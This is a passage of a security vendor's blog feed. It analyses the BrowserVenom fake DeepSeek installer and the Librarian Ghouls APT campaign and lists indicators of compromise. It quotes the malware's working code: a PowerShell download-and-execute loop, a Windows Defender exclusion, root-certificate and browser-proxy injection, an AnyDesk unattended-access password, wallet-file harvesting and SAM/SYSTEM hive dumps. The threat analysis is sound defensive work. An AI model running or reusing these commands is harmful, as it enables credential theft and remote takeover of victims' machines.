class="wp-caption-text">Two options to install abused LLM frameworks</p></div>
<p>Clicking either of the “Install” buttons effectively downloads and executes the respective installer, but with a caveat: another function runs concurrently: <code>MLInstaller.Runner.Run()</code>. This function triggers the infectious part of the implant.</p><pre class="urvanov-syntax-highlighter-plain-tag">private async void lmBtn_Click(object sender, EventArgs e)
{
try
{
MainFrm.<>c__DisplayClass5_0 CS$<>8__locals1 = new MainFrm.<>c__DisplayClass5_0();
this.lmBtn.Text = "Downloading..";
this.lmBtn.Enabled = false;
Action action;
if ((action = MainFrm.<>O.<0>__Run) == null)
{
action = (MainFrm.<>O.<0>__Run = new Action(Runner.Run)); # <--- malware initialization
}
Task.Run(action);
CS$<>8__locals1.ollamaPath = Path.Combine(Path.GetTempPath(), "LM-Studio-0.3.9-6-x64.exe");
[...]</pre><p>
When the <code>MLInstaller.Runner.Run()</code> function is executed in a separate thread on the machine, the infection develops in the following three steps:</p>
<ol>
<li>
First, the malicious function tries to exclude the user’s folder from Windows Defender’s protection by decrypting a buffer using the AES encryption algorithm.</p>
<p>The AES encryption information is hardcoded in the implant:</p>
<table>
<tbody>
<tr>
<td><strong>Type</strong></td>
<td>AES-256-CBC</td>
</tr>
<tr>
<td><strong>Key</strong></td>
<td>01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10 11 12 13 14 15 16 17 18 19 1a 1b 1c 1d 1e 1f 20</td>
</tr>
<tr>
<td><strong>IV</strong></td>
<td>01 02 03 04 05 06 07 08 09 0a 0b 0c 0d 0e 0f 10</td>
</tr>
</tbody>
</table>
<p>The decrypted buffer contains a PowerShell command that performs the exclusion once executed by the malicious function.</p><pre class="urvanov-syntax-highlighter-plain-tag">powershell.exe -inputformat none -outputformat none -NonInteractive -ExecutionPolicy Bypass -Command Add-MpPreference -ExclusionPath $USERPROFILE</pre><p>
It should be noted that this command needs administrator privileges and will fail in case the user lacks them.
</li>
<li>
After that, another PowerShell command runs, downloading an executable from a malicious domain whose name is derived with a simple domain generation algorithm (DGA). The downloaded executable is saved as <code>%USERPROFILE%\Music\1.exe</code> under the user’s profile and then executed.</p><pre class="urvanov-syntax-highlighter-plain-tag">$ap = "/api/getFile?fn=lai.exe";
$b = $null;
foreach($i in 0..1000000) {
$s = if ($i - gt 0) {
$i
} else {
""
};
$d = "https://app-updater$s.app$ap";
$b = (New - Object Net.WebClient).DownloadData($d);
if ($b) {
break
}
};
if ([Runtime.InteropServices.RuntimeEnvironment]::GetSystemVersion() - match"^v2") {
[IO.File]::WriteAllBytes("$env:USERPROFILE\Music\1.exe", $b);
Start - Process "$env:USERPROFILE\Music\1.exe" - NoNewWindow
} else {
([Reflection.Assembly]::Load($b)).EntryPoint.Invoke($null, $null)
}</pre><p>
At the moment of our research, there was only one domain in existence: <code>app-updater1[.]app</code>. No binary can be downloaded from this domain as of now but we suspect that this might be another malicious implant, such as a backdoor for further access. So far, we have managed to obtain several malicious domain names associated with this threat; they are highlighted in the IoCs section.
</li>
<li>
Then the <code>MLInstaller.Runner.Run()</code> function locates a hardcoded stage two payload in the class and variable <code>ConfigFiles.load</code> of the malicious installer’s buffer. This executable is decrypted with the same AES algorithm as before in order to be loaded into memory and run.
</li>
</ol>
<h2 id="loaded-implant-browservenom">Loaded implant: BrowserVenom</h2>
<p>We dubbed the next-stage implant <strong>BrowserVenom</strong> because it reconfigures all browsing instances to force traffic through a proxy controlled by the threat actors. This enables them to sniff sensitive data and monitor the victim’s browsing activity while decrypting their traffic.</p>
<p>First, BrowserVenom checks if the current user has administrator rights – exiting if not – and installs a hardcoded certificate created by the threat actor:</p><pre class="urvanov-syntax-highlighter-plain-tag">[...]
X509Certificate2 x509Certificate = new X509Certificate2(Resources.cert);
if (RightsChecker.IsProcessRunningAsAdministrator())
{
StoreLocation storeLocation = StoreLocation.LocalMachine;
X509Store x509Store = new X509Store(StoreName.Root, storeLocation);
x509Store.Open(OpenFlags.ReadWrite);
x509Store.Add(x509Certificate);
[...]</pre><p>
Then the malware adds a hardcoded proxy server address to all currently installed and running browsers. For Chromium-based instances (i.e., Chrome or Microsoft Edge), it adds the <code>proxy-server</code> argument and modifies all existent LNK files, whereas for Gecko-based browsers, such as Mozilla or Tor Browser, the implant modifies the current user’s profile preferences:</p><pre class="urvanov-syntax-highlighter-plain-tag">[...]
new ChromeModifier(new string[]
{
"chrome.exe", "msedge.exe", "opera.exe", "brave.exe", "vivaldi.exe", "browser.exe", "torch.exe", "dragon.exe", "iron.exe", "epic.exe",
"blisk.exe", "colibri.exe", "centbrowser.exe", "maxthon.exe", "coccoc.exe", "slimjet.exe", "urbrowser.exe", "kiwi.exe"
}, string.Concat(new string[]
{
"--proxy-server=\"",
ProfileSettings.Host,
":",
ProfileSettings.Port,
"\""
})).ProcessShortcuts();
GeckoModifier.Modify();
[...]</pre><p>
The settings currently utilized by the malware are as follows:</p><pre class="urvanov-syntax-highlighter-plain-tag">public static readonly string Host = "141.105.130[.]106";
public static readonly string Port = "37121";
public static readonly string ID = "LauncherLM";
public static string HWID = ChromeModifier.RandomString(5);</pre><p>
The variables <code>Host</code> and <code>Port</code> are the ones used as the proxy settings, and the <code>ID</code> and <code>HWID</code> are appended to the browser’s User-Agent, possibly as a way to keep track of the victim’s network traffic.</p>
<h2 id="conclusion">Conclusion</h2>
<p>As <a href="https://securelist.com/tag/deepseek/" target="_blank" rel="noopener">we have been reporting</a>, DeepSeek has been the perfect lure for attackers to attract new victims. Threat actors’ use of new malicious tooling, such as BrowserVenom, complicates the detection of their activities. This, combined with the use of Google Ads to reach more victims and look more plausible, makes such campaigns even more effective.</p>
<p>At the time of our research, we detected multiple infections in Brazil, Cuba, Mexico, India, Nepal, South Africa, and Egypt. The nature of the bait and the geographic distribution of attacks indicate that campaigns like this continue to pose a global threat to unsuspecting users.</p>
<p>To protect against these attacks, users are advised to confirm that the results of their searches are official websites, along with their URLs and certificates, to make sure that the site is the right place to download the legitimate software from. Taking these precautions can help avoid this type of infection.</p>
<p>Kaspersky products detect this threat as <code>HEUR:Trojan.Win32.Generic</code> and <code>Trojan.Win32.SelfDel.iwcv</code>.</p>
<h2 id="indicators-of-compromise">Indicators of Compromise</h2>
<h3 id="hashes">Hashes</h3>
<p><a href="https://opentip.kaspersky.com/d435a9a303a27c98d4e7afa157ab47de/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______235b5c745a7b1f1d&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">d435a9a303a27c98d4e7afa157ab47de</a> AI_Launcher_1.21.exe<br />
<a href="https://opentip.kaspersky.com/dc08e0a005d64cc9e5b2fdd201f97fd6/results?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______a1bb6d16148b88eb&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">dc08e0a005d64cc9e5b2fdd201f97fd6</a></p>
<h3 id="domains-and-ips">Domains and IPs</h3>
<table>
<tbody>
<tr>
<td><a href="https://opentip.kaspersky.com/deepseek-platform.com/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______eed927492d26acd3&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">deepseek-platform[.]com</a></td>
<td>Main phishing site</td>
</tr>
<tr>
<td><a href="https://opentip.kaspersky.com/r1deepseek-ai.com/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______2150c37d57701b12&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">r1deepseek-ai[.]com</a></td>
<td>Distribution server</td>
</tr>
<tr>
<td><a href="https://opentip.kaspersky.com/app-updater1.app/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______d6653806f231fd05&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">app-updater1[.]app</a></td>
<td rowspan="3">Stage #2 servers</td>
</tr>
<tr>
<td><a href="https://opentip.kaspersky.com/app-updater2.app/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______603b0cc1992e91cb&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">app-updater2[.]app</a></td>
</tr>
<tr>
<td><a href="https://opentip.kaspersky.com/app-updater.app/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______262fdc00828be6d6&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">app-updater[.]app</a></td>
</tr>
<tr>
<td><a href="https://opentip.kaspersky.com/141.105.130.106/?icid=gl_securelist_acq_ona_smm__onl_b2c_securelist_lnk_sm-team_______6597cebfec71a013&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">141.105.130[.]106</a></td>
<td>Malicious proxy</td>
</tr>
</tbody>
</table>
]]></content:encoded>
<wfw:commentRss>https://securelist.com/browservenom-mimicks-deepseek-to-use-malicious-proxy/115728/feed/</wfw:commentRss>
<slash:comments>0</slash:comments>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/11094352/browservenom-deepseek-featured.jpg" width="2000" height="1000"><media:keywords>full</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/11094352/browservenom-deepseek-featured-1024x512.jpg" width="1024" height="512"><media:keywords>large</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/11094352/browservenom-deepseek-featured-300x150.jpg" width="300" height="150"><media:keywords>medium</media:keywords></media:content>
<media:content xmlns:media="http://search.yahoo.com/mrss/" url="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/06/11094352/browservenom-deepseek-featured-150x150.jpg" width="150" height="150"><media:keywords>thumbnail</media:keywords></media:content>
</item>
<item>
<title>Sleep with one eye open: how Librarian Ghouls steal data by night</title>
<link>https://securelist.com/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto/116536/</link>
<comments>https://securelist.com/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto/116536/#respond</comments>
<dc:creator><![CDATA[Kaspersky]]></dc:creator>
<pubDate>Mon, 09 Jun 2025 10:00:09 +0000</pubDate>
<category><![CDATA[APT reports]]></category>
<category><![CDATA[Malware Technologies]]></category>
<category><![CDATA[Targeted attacks]]></category>
<category><![CDATA[Malware Descriptions]]></category>
<category><![CDATA[Spear phishing]]></category>
<category><![CDATA[Malware]]></category>
<category><![CDATA[APT]]></category>
<category><![CDATA[PowerShell]]></category>
<category><![CDATA[Miner]]></category>
<category><![CDATA[XMRig]]></category>
<category><![CDATA[WinRAR]]></category>
<category><![CDATA[Microsoft Edge]]></category>
<category><![CDATA[APT (Targeted attacks)]]></category>
<category><![CDATA[Windows malware]]></category>
<guid isPermaLink="false">https://kasperskycontenthub.com/securelist/?p=116536</guid>
<description><![CDATA[According to Kaspersky, Librarian Ghouls APT continues its series of attacks on Russian entities. A detailed analysis of a malicious campaign utilizing RAR archives and BAT scripts.]]></description>
<content:encoded><![CDATA[<p><img width="990" height="400" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/27094643/librarian-ghouls-featured-image-990x400.jpg" class="attachment-securelist-huge-promo size-securelist-huge-promo wp-post-image" alt="" decoding="async" loading="lazy" /></p><h2 id="introduction">Introduction</h2>
<p>Librarian Ghouls, also known as “Rare Werewolf” and “Rezet”, is an APT group that targets entities in Russia and the CIS. Other security vendors are also monitoring this APT and releasing analyses of its campaigns. The group has remained active through May 2025, consistently targeting Russian companies.</p>
<p>A distinctive feature of this threat is that the attackers favor using legitimate third-party software over developing their own malicious binaries. The malicious functionality of the campaign described in this article is implemented through command files and PowerShell scripts. The attackers establish remote access to the victim’s device, steal credentials, and deploy an XMRig crypto miner in the system.</p>
<p>Our research has uncovered new tools within this APT group’s arsenal, which we will elaborate on in this article.</p>
<h2 id="technical-details">Technical details</h2>
<h3 id="initial-infection-vector">Initial infection vector</h3>
<p>Attacks by Librarian Ghouls continued almost unabated throughout 2024. We observed a slight decline in the group’s activity in December, followed immediately by a new wave of attacks, which is ongoing. The group’s primary initial infection vector involves targeted phishing emails that contain password-protected archives with executable files inside. These malicious emails are typically disguised as messages from legitimate organizations, containing attachments that appear to be official documents. The infection process is as follows: the victim opens the attached archive (the password is usually provided in the email body), extracts the files inside, and opens them.</p>
<p>We managed to get hold of a malicious implant from an archive disguised as a payment order. The sample is a self-extracting installer made with the Smart Install Maker utility for Windows.</p>
<p>The installer contains three files: an archive, a configuration file, and an empty file irrelevant for our analysis. They are later renamed into <code>data.cab</code>, <code>installer.config</code> and <code>runtime.cab</code> respectively.</p>
<p>The primary malicious logic resides in the installer’s configuration file. It uses a variety of registry modification commands to automatically deploy the legitimate window manager, 4t Tray Minimizer, onto the system. This software can minimize running applications to the system tray, allowing attackers to obscure their presence on the compromised system.</p>
<p>Once 4t Tray Minimizer is installed, the installer pulls three files from <code>data.cab</code> and puts them into the <code>C:\Intel</code> directory, specifically at:</p>
<table>
<tbody>
<tr>
<td><strong>File</strong></td>
<td><strong>Name when archived</strong></td>
<td><strong>Path on the infected system</strong></td>
</tr>
<tr>
<td>Legitimate PDF as a decoy</td>
<td>0</td>
<td> \Intel\Payment Order # 131.pdf</td>
</tr>
<tr>
<td>Legitimate curl utility executable</td>
<td>1</td>
<td>\Intel\curl.exe</td>
</tr>
<tr>
<td>LNK file</td>
<td>2</td>
<td>\Intel\AnyDesk\bat.lnk</td>
</tr>
</tbody>
</table>
<p>The PDF decoy resembles an order to pay a minor amount:</p>
<div id="attachment_116537" style="width: 711px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15155659/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto1.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116537" class="size-full wp-image-116537" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15155659/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto1.png" alt="PDF document imitating a payment order" width="701" height="863" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15155659/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto1.png 701w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15155659/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto1-244x300.png 244w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15155659/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto1-284x350.png 284w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15155659/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto1-227x280.png 227w" sizes="auto, (max-width: 701px) 100vw, 701px" /></a><p id="caption-attachment-116537" class="wp-caption-text">PDF document imitating a payment order</p></div>
<h3 id="rezet-cmd">rezet.cmd</h3>
<p>Once <code>data.cab</code> is unpacked, the installer generates and executes a <code>rezet.cmd</code> command file, which then reaches out to the C2 server <code>downdown[.]ru</code>, hosting six files with the JPG extension. <code>rezet.cmd</code> downloads these to <code>C:\Intel</code>, changing their file extensions to: <code>driver.exe</code>, <code>blat.exe</code>, <code>svchost.exe</code>, <code>Trays.rar</code>, <code>wol.ps1</code>, and <code>dc.exe</code>.</p>
<ul>
<li><code>driver.exe</code> is a customized build of <code>rar.exe</code>, the console version of WinRAR 3.80. This version has had user dialog strings removed: it can execute commands but provides no meaningful output to the console.</li>
<li><code>blat.exe</code> is <a href="http://www.blat.net" target="_blank" rel="noopener">Blat</a>, a legitimate utility for sending email messages and files via SMTP. Attackers use this to send data they steal to an email server they control.</li>
<li><code>svchost.exe</code> is the remote access application AnyDesk. Attackers use this to remotely control the compromised machine.</li>
<li><code>dc.exe</code> is Defender Control, which allows disabling Windows Defender.</li>
</ul>
<p>After downloading the files, the script uses the specified password and the <code>driver.exe</code> console utility to extract <code>Trays.rar</code> into the same <code>C:\Intel</code> directory and run the unpacked <code>Trays.lnk</code>. This shortcut allows starting 4t Tray Minimizer minimized to the tray.</p>
<p>Next, the script installs AnyDesk on the compromised device and downloads a <code>bat.bat</code> file from the C2 server to <code>C:\Intel\AnyDesk</code>. Finally, <code>rezet.cmd</code> runs <code>bat.lnk</code>, which was previously extracted from <code>data.cab</code>.</p>
<h3 id="bat-bat">bat.bat</h3>
<p>Opening the <code>bat.lnk</code> shortcut runs the <code>bat.bat</code> batch file, which executes a series of malicious actions.</p>
<h4 id="disabling-security-measures-and-a-scheduled-task">Disabling security measures and a scheduled task</h4>
<p>First, the BAT file sets the password <code>QWERTY1234566</code> for AnyDesk, which allows the attackers to connect to the victim’s device without asking for confirmation.</p>
<p>Next, the script uses the previously downloaded Defender Control (<code>dc.exe</code>) application to disable Windows Defender.</p>
<p>To verify that the victim’s computer is on and available for remote connections, the batch file runs the <code>powercfg</code> utility six times with different parameters. This utility controls the local machine’s power settings.</p>
<p>Next, <code>bat.bat</code> runs the <code>schtasks</code> utility to create a <code>ShutdownAt5AM</code> scheduler task, which shuts down the victim’s PC every day at 5 AM as the name suggests. It is our assessment that the attackers use this technique to cover their tracks so that the user remains unaware that their device has been hijacked.</p><pre class="urvanov-syntax-highlighter-plain-tag">echo QWERTY1234566 | AnyDesk.exe --set-password _unattended_access
%SYSTEMDRIVE%\Intel\dc.exe /D
powercfg -setacvalueindex SCHEME_CURRENT 4f971e89-eebd-4455-a8de-9e59040e7347 5ca83367-6e45-459f-a27b-476b1d01c936 0
powercfg -change -standby-timeout-ac 0
powercfg -change -hibernate-timeout-ac 0
powercfg -h off
powercfg /SETDCVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
powercfg /SETACVALUEINDEX SCHEME_CURRENT 238c9fa8-0aad-41ed-83f4-97be242c8f20 bd3b718a-0680-4d9d-8ab2-e1d2b4ac806d 1
schtasks /create /tn "ShutdownAt5AM" /tr "shutdown /s /f /t 0" /sc daily /st 05:00</pre><p>
<p align="center"><strong><em>Disabling security measures and the power management configuration in bat.bat</em></strong></p>
<h4 id="wakeup-script-and-data-theft">Wakeup script and data theft</h4>
<p>Next, the batch file executes the <code>wol.ps1</code> script via PowerShell.</p><pre class="urvanov-syntax-highlighter-plain-tag">$Action = New-ScheduledTaskAction -Execute "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
$Trigger = New-ScheduledTaskTrigger -Daily -At "01:00AM"
$Principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount -RunLevel Highest
# Creating task settings
$TaskSettings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -StartWhenAvailable -WakeToRun
# Registering task in Task Scheduler
Register-ScheduledTask -Action $Action -Principal $Principal -Trigger $Trigger -TaskName "WakeUpAndLaunchEdge" -Settings $TaskSettings -Force</pre><p>
<p align="center"><strong><em>Contents of the “wol.ps1” script</em></strong></p>
<p>This script launches Microsoft Edge every day at 1 AM. We found no evidence of <code>msedge.exe</code> being replaced or compromised, leading us to believe it is a genuine Microsoft Edge executable. This daily browser activation wakes the victim’s computer, giving attackers a four-hour window to establish unauthorized remote access with AnyDesk before the scheduled task shuts the machine down at 5 AM.</p>
<p>Following the execution of the PowerShell script, <code>bat.bat</code> removes the curl utility, the <code>Trays.rar</code> archive, and the AnyDesk installer. The attackers no longer need these components: at this stage of the infection, all necessary malicious files and third-party utilities have been downloaded with curl, <code>Trays.rar</code> has been unpacked, and AnyDesk has been installed on the device.</p>
<p>After that, the batch file sets environment variables for Blat. These variables contain, among other things, the email addresses where the victim’s data will be sent and the passwords for these accounts.</p>
<p>The next step is to collect information stored on the device that is of interest to the attackers:</p>
<ul>
<li>Cryptocurrency wallet credentials and seed phrases</li>
<li>Dumps of the <code>HKLM\SAM</code> and <code>HKLM\SYSTEM</code> registry keys made with <code>reg.exe</code></li>
</ul>
<pre class="urvanov-syntax-highlighter-plain-tag">%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*парол*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*карт*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*кошельк*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\wallet.dat /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*wallet*.doc* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*wallet*.txt /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*seed*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\keystore.json /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*bitcoin*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*usdt*.* /y
%SYSTEMDRIVE%\Intel\driver.exe a -r -[REDACTED] %SYSTEMDRIVE%\Intel\wallet.rar C:\*ethereum*.* /y
reg save hklm\sam %SYSTEMDRIVE%\Intel\sam.backup
reg save hklm\system %SYSTEMDRIVE%\Intel\system.backup</pre>
<p align="center"><strong><em>Data collection by bat.bat</em></strong></p>
<p>The BAT file uses <code>driver.exe</code> to pack data it has collected into two separate password-protected archives. Then, the script runs <code>blat.exe</code> to send the victim’s data and AnyDesk configuration files to the attackers via SMTP.</p>
<h4 id="miner-installation-and-self-deletion">Miner installation and self-deletion</h4>
<p>Next, <code>bat.bat</code> deletes the files generated during the attack from the <code>C:\Intel\</code> folder and installs a crypto miner on the compromised system. To do this, the script creates a <code>bm.json</code> configuration file containing the mining pool address and the attackers’ identifier, and then downloads <code>install.exe</code> from <code>hxxp://bmapps[.]org/bmcontrol/win64/Install.exe</code>.</p>
<p><code>install.exe</code> is an installer that checks for the JSON configuration file and the <code>bmcontrol.exe</code> process in the system. If the process is detected, the installer terminates it.</p>
<p>Then, <code>install.exe</code> downloads an archive with mining tools from <code>hxxps://bmapps[.]org/bmcontrol/win64/app-1.4.zip</code>.</p>
<p>The archive contains the following files:</p>
<ul>
<li><code>_install.exe</code>: a new version of the installer. While the samples in the attacks we analyzed were identical, we suspect the attackers have a scenario for updating the malware.</li>
<li><code>bmcontrol.exe</code>: miner controller</li>
<li><code>run.exe</code>, <code>stop.cmd</code>, <code>uninstall.cmd</code>: tools for starting, stopping, and removing the controller</li>
<li><a href="https://securelist.com/tag/xmrig/" target="_blank" rel="noopener">XMRig</a> miner</li>
</ul>
<p>Depending on the parameters of the JSON file, the unmodified original installer file is used, or <code>_install.exe</code> is renamed to <code>install.exe</code> and run. After that, the installer adds <code>run.exe</code> to autorun. This utility checks for an already running <code>bmcontrol.exe</code> controller on the compromised system, and if it doesn’t find one, runs it from the downloaded archive.</p>
<p>Once running, <code>bmcontrol.exe</code> creates two processes: <code>master</code> and <code>worker</code>. The <code>master</code> process launches and constantly monitors the <code>worker</code>, and also restarts it if the latter quits unexpectedly. In addition, the <code>master</code> passes the JSON configuration file to the <code>worker</code> process.</p>
<p>Before launching the XMRig miner, the <code>worker</code> process collects the following system information:</p>
<ol>
<li>Available CPU cores</li>
<li>Available RAM</li>
<li>GPU</li>
</ol>
<p>This data is used to configure the miner on the compromised device and also sent to the attackers’ server. While XMRig is running, the <code>worker</code> maintains a connection to the mining pool, sending a request every 60 seconds.</p>
<p>After installing the miner on the system, <code>bat.bat</code> removes itself from the victim’s device.</p>
<h3 id="legitimate-software-utilized-by-the-attackers">Legitimate software utilized by the attackers</h3>
<p>It is a common technique to leverage third-party legitimate software for malicious purposes (<a href="https://attack.mitre.org/techniques/T1588/002/" target="_blank" rel="noopener">T1588.002</a>), which makes detecting and attributing APT activity more difficult. We have seen this pattern in current campaigns by various APT groups, in particular <a href="https://securelist.com/awaken-likho-apt-new-implant-campaign/114101/" target="_blank" rel="noopener">in the Likho cluster</a>.</p>
<p>Beyond the utilities discussed above, we also identified the following software in Librarian Ghouls attacks:</p>
<ul>
<li><a href="http://www.mipko.ru" target="_blank" rel="noopener">Mipko Personal Monitor</a>: a DLP system that the attackers use to monitor the victim. The application can collect screenshots and record keystrokes among other things.</li>
<li><a href="https://www.nirsoft.net/utils/web_browser_password.html" target="_blank" rel="noopener">WebBrowserPassView</a>: a password recovery utility that can extract passwords stored in web browsers. The attackers use this to steal victims’ credentials.</li>
<li>ngrok: a global reverse proxy that secures and accelerates network services. Used by the attackers to connect to target machines.</li>
<li><a href="https://www.nirsoft.net/utils/nircmd.html" target="_blank" rel="noopener">NirCmd</a>: a legitimate utility that facilitates various OS tasks without a visible user interface. The attackers use this to covertly run scripts and executables.</li>
</ul>
<h3 id="phishing-campaign">Phishing campaign</h3>
<p>Our investigation revealed several domains that we assess with low confidence to be associated with the ongoing Librarian Ghouls campaign. At the time of the investigation, some of them remained active, including <code>users-mail[.]ru</code> and <code>deauthorization[.]online</code>. These domains hosted phishing pages, generated with PHP scripts and designed to harvest credentials for the <code>mail.ru</code> email service.</p>
<div id="attachment_116538" style="width: 1053px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116538" class="size-full wp-image-116538" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2.png" alt="Example of a phishing page associated with the APT campaign" width="1043" height="783" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2.png 1043w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-300x225.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-1024x769.png 1024w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-768x577.png 768w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-200x150.png 200w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-466x350.png 466w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-740x556.png 740w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-373x280.png 373w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160112/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto2-800x601.png 800w" sizes="auto, (max-width: 1043px) 100vw, 1043px" /></a><p id="caption-attachment-116538" class="wp-caption-text">Example of a phishing page associated with the APT campaign</p></div>
<h2 id="infrastructure">Infrastructure</h2>
<p>The implant detailed in this article communicated with the command-and-control servers <code>downdown[.]ru</code> and <code>dragonfires[.]ru</code>. Both resolve to the IP address <a href="https://opentip.kaspersky.com/185.125.51.5/?icid=gl_securelist_acq_ona_smm__onl_b2b_securelist_lnk_sm-team_______d2af87f155401802&utm_source=SL&utm_medium=SL&utm_campaign=SL" target="_blank" rel="noopener">185.125.51[.]5</a>.</p>
<p>Our analysis of the attackers’ infrastructure revealed a notable characteristic: several malicious web servers associated with this campaign had directory listing enabled, allowing us to inspect files they stored.</p>
<div id="attachment_116539" style="width: 418px" class="wp-caption aligncenter"><a href="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3.png" class="magnificImage"><img loading="lazy" decoding="async" aria-describedby="caption-attachment-116539" class="size-full wp-image-116539" src="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3.png" alt="Directory listing on a malicious server" width="408" height="403" srcset="https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3.png 408w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3-300x296.png 300w, https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2025/05/15160158/librarian-ghouls-apt-wakes-up-computers-to-steal-data-and-mine-crypto3-354x350.png 354w, 